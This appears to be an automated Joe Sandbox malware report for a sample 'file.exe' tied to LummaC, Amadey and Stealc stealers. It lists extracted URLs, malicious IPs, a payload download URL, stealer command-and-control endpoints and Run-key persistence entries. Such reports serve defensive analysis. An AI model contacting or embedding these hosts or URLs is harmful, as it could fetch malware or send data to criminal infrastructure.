https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v	file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.zhihu.com/	firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3171740399.0000331855D04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2168419842.000000000583D000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2818101315.0000000005D77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3112720625.000002550A052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3123492561.000002550B0E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2168419842.000000000583D000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2818101315.0000000005D77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3112720625.000002550A052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3123492561.000002550B0E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mozilla-hub.atlassian.net/browse/SDK-405	firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/forceWaitHttpsRR	firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflarQ	09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://studennotediw.store:443/apiryptPrimitives.dllC	09d417a7c4.exe, 00000010.00000002.2950222857.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/workshop/	file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3010399483.000000000146B000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	09d417a7c4.exe, 0000000B.00000003.2819535440.0000000005E63000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en	file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 0000001B.00000003.2946171739.0000025510196000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/user/preferences	firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com/	firefox.exe, 0000001B.00000003.2885518412.0000025507B3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2884833153.0000025508100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3082928833.0000025508595000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885905066.0000025507B60000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/steam/random.exeC	file.exe, 00000000.00000003.2282756998.0000000000D7A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2283739354.0000000000D7C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://clearancek.site:443/apiA	09d417a7c4.exe, 00000010.00000002.2950222857.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://json-schema.org/draft-07/schema#-	firefox.exe, 0000001B.00000002.3109890652.0000025509903000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/fatalerror.css?v=wctRWaBvNt2z&l=e	09d417a7c4.exe, 00000010.00000003.2912331391.000000000101E000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://vk.com/	firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com	09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2950222857.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=Ff_1prscqzeu&	file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2912331391.000000000101E000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/dnsMaxAnyPriorityThreads	firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratio	firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/css/motiva	09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	file.exe, file.exe, 00000000.00000003.2167800399.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2186250006.0000000000D73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240990821.0000000000D6C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2186229688.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184520949.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2126652942.0000000000D05000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184690433.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184075512.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2282756998.0000000000D72000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2168617103.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184807186.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184381596.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2203677272.0000000000D73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2140178683.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2950222857.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/Prompt	firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.steampowered.com/	09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/mobile	file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3010399483.000000000146B000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.53.8	sergei-esenin.com	United States	13335	CLOUDFLARENETUS	true
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.37	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.217.18.14	youtube.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	prod.ads.prod.webservices.mozgcp.net	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1541396
Start date and time:	2024-10-24 19:28:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	50
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@75/29@80/12
EGA Information:	Successful, ratio: 16.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 44.231.229.39, 34.208.54.237, 52.13.186.250
Excluded domains from analysis (whitelisted): star-mini.c10r.facebook.com, www.facebook.com, twitter.com, fs.microsoft.com, www.reddit.com, shavar.prod.mozaws.net, otelrules.azureedge.net, slscr.update.microsoft.com, incoming.telemetry.mozilla.org, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, aus5.mozilla.org, dyna.wikimedia.org, prod.remote-settings.prod.webservices.mozgcp.net, fe3cr.delivery.mp.microsoft.com, youtube-ui.l.google.com, ocsp.digicert.com, reddit.map.fastly.net, firefox.settings.services.mozilla.com, push.services.mozilla.com, www.youtube.com, www.wikipedia.org, location.services.mozilla.com, telemetry-incoming.r53-2.services.mozilla.com
Execution Graph export aborted for target 0BSU3F1DFM4GF1Y0TBRRGTML6V.exe, PID 3920 because it is empty
Execution Graph export aborted for target RLX7QEJ1ATLQN8ECDIPHB.exe, PID 2680 because there are no executed function
Execution Graph export aborted for target file.exe, PID 4500 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 2672 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 7200 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
13:29:07	API Interceptor	12x Sleep call for process: file.exe modified
13:30:01	API Interceptor	330096x Sleep call for process: skotes.exe modified
13:30:12	API Interceptor	28x Sleep call for process: 09d417a7c4.exe modified
13:30:43	API Interceptor	14x Sleep call for process: SOZIL3CYM3GR68KV3Z4.exe modified
13:30:47	API Interceptor	62x Sleep call for process: num.exe modified
19:29:28	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
19:30:13	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 09d417a7c4.exe C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe
19:30:22	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 353ab0ae6e.exe C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe
19:30:30	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 29af563a7b.exe C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe
19:30:39	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1001245001\num.exe
19:30:47	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 09d417a7c4.exe C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe
19:30:55	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 353ab0ae6e.exe C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe
19:31:04	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 29af563a7b.exe C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe
19:31:13	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1001245001\num.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.53.8	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	msqT9atzYW.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.37	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
us-west1.prod.sumo.prod.webservices.mozgcp.net	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.128.2
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.128.2
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.149.128.2
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.128.2
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.128.2
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.149.128.2
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.128.2
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.128.2
	file.exe	Get hash	malicious	Unknown	Browse	34.149.128.2
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.128.2
steamcommunity.com	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.102.49.254

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	Payment for outstanding statements.pdf	Get hash	malicious	HTMLPhisher	Browse	34.117.77.79
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
CLOUDFLARENETUS	https://8jkfw9cqp7ep.z13.web.core.windows.net/?zpbid=78432_55610c1d-9229-11ef-824f-03718b6de7bb#	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	104.17.25.14
	22390016593_20210618_14375054_HesapOzeti.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	_Play__New__VM__01min 04sec____ATT2006587654 (Randiwestbrook) .htm	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	g1TLK7mbZD.img	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	EXTERNALRoger Moczygemba shared DIRECT MED CLINIC - CONFIDENTIAL with you.msg	Get hash	malicious	Unknown	Browse	104.18.94.41
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	https://na2.docusign.net/Signing/EmailStart.aspx?a=c6104538-ac3b-4407-b24b-a0b641ee4589&etti=24&acct=7853161b-6814-4528-85bc-ffe96cfca42f&er=09ab18a7-8de5-4c92-931d-cb9cd9f7b00d	Get hash	malicious	Unknown	Browse	104.18.66.57
	https://egift.activationshub.com/gift-card/view/8lPFUrjq1LGzg7JHwS8hJJRdL	Get hash	malicious	Unknown	Browse	172.67.68.47
	http://hybrid-web.global.blackspider.com/urlwrap/?q=AXicLU67UsMwEFQBX0Gf0pbtkywxowHLiZgUDEXoGVmRjbFlJX4wk4bPgT-kJgpp9u72dnb35hZ9_SB0943Q2J8S1kTT-Bk53fbGD_Po-8h4h4C_yGb70WGgwAjaOz_q4TFAY41fhvk0mSXyY4Pe5_kw3cdxP3RRa-M8k0-72IqHZXZvRruDbptBrMLl7L5dnLAh60JMfhmNFbb3x0VfmFDBDrPYPO9Wtj--jtp0271IeaVxWlvNawq24rrmlPAKkyw3hGoetMLaNOFnloGugFFS1QmrM3IGAKg1DSLdBrM0veyzSMIsryXPOUnO_1-dYIUisgSKsdoknOWcZiBlmSvMVaZwLouSpIqRslBScsxYCkWZQUkobEByul4riRAivwj9ATUqckw&Z	Get hash	malicious	Unknown	Browse	104.26.11.204
	https://1drv.ms/o/c/76471f3776916fd0/EomjtsItbi9Ag0bnzrJDx08BhxVWepFoAXrJFoYeR9IZ0A?e=5%3aEFCh5b&sharingv2=true&fromShare=true&at=9	Get hash	malicious	Unknown	Browse	104.21.56.85
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8 104.102.49.254
	SecuriteInfo.com.Heur.11787.148.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	StudioDemo.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	5Setup.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	PO%20K22012FA[1].docx	Get hash	malicious	Unknown	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
